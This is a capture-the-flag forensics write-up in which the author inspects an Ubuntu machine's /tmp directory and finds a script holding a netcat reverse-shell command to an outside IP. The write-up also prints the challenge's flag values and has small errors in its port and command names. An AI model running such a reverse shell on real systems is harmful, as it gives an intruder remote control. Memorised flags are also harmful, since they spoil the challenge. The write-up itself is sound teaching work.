INTRODUCTORY:I AM LISTENING BY Monhal

EASY

Scenario:

A couple of days ago, a guy claiming to be a network technician came to your colleague, saying he had to review his network configuration. Since then, your colleague has complained about abnormal behavior in his system. At first, he thought it was merely his lack of experience with Ubuntu; however, soon enough, he began suspecting the issue had something to do with the supposed network technician. He turned to you for advice on how to check the system more thoroughly.

Objectives:

- Find the reason for the abnormal activity in the system.
- Find all possible information about the attacker.
- Find any malicious traces the attacker left in the system.

Used tools:

CURL

in cases like this, the first file to check is the /tmp directory, this directory is used by hackers, they write / upload files to it because the directory content will be deleted automatically after a period of time.
Checking the /tmp directory:

Figure 1 - /tmp content - found suspicious file!

```
leonardo@ubuntu:~$ ls
leonardo@ubuntu:~$ ls -la
total 20
drwxr-xr-x 2 leonardo leonardo 4096 May  5  2021 .
drwxr-xr-x 1 root     root     4096 May  5  2021 ..
-rw-r--r-- 1 leonardo leonardo  220 May  5  2021 .bash_logout
-rw-r--r-- 1 leonardo leonardo 3790 May  5  2021 .bashrc
-rw-r--r-- 1 leonardo leonardo  807 May  5  2021 .profile
leonardo@ubuntu:~$ cd ..
leonardo@ubuntu:/home$ ls
leonardo
leonardo@ubuntu:/home$ cd ..
leonardo@ubuntu:/$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
leonardo@ubuntu:/$ cd tmp/
leonardo@ubuntu:/tmp$ ls
c8WeUfS34K.sh  tmpbx_tt75b
leonardo@ubuntu:/tmp$ cat c8WeUfS34K.sh
#!/bin/bash
nc 172.30.0.2 44444 -e /bin/bash

# [Part 2] 0b1f8acdbd610d80
leonardo@ubuntu:/tmp$
```

*Notice I used ls -la command in home to check for another activities in the user directory.
Now since we have the ip address, we can use CURL in order to interact with it in port 80 (http):

Figure 2 - curl

```
leonardo@ubuntu:~$ curl 172.30.0.2

<pre>

[Part 1] 4d4d0febee7020cc

</pre>
leonardo@ubuntu:~$
```

Looks like the attacker created / uploaded file to /tmp directory that spawn a shell in the attacker's machine.
- '#!/bin/bash' is a shell type.
- nc [ip] 4444 -e /bin/bash(netcat) is a payload that executes (-e) a shell on port 4444

***EXTRA**: is this challenge the ifconfig / ip -a is not provided.
In order to check the machine ip it is possible to read the file in /etc/hosts with the command cat /etc/host and this will display all the hostnames on the machine (ip)

CHALLENGE PWNED!

Please feel free to contact me on: **Monhalsarbouch@gmail.com**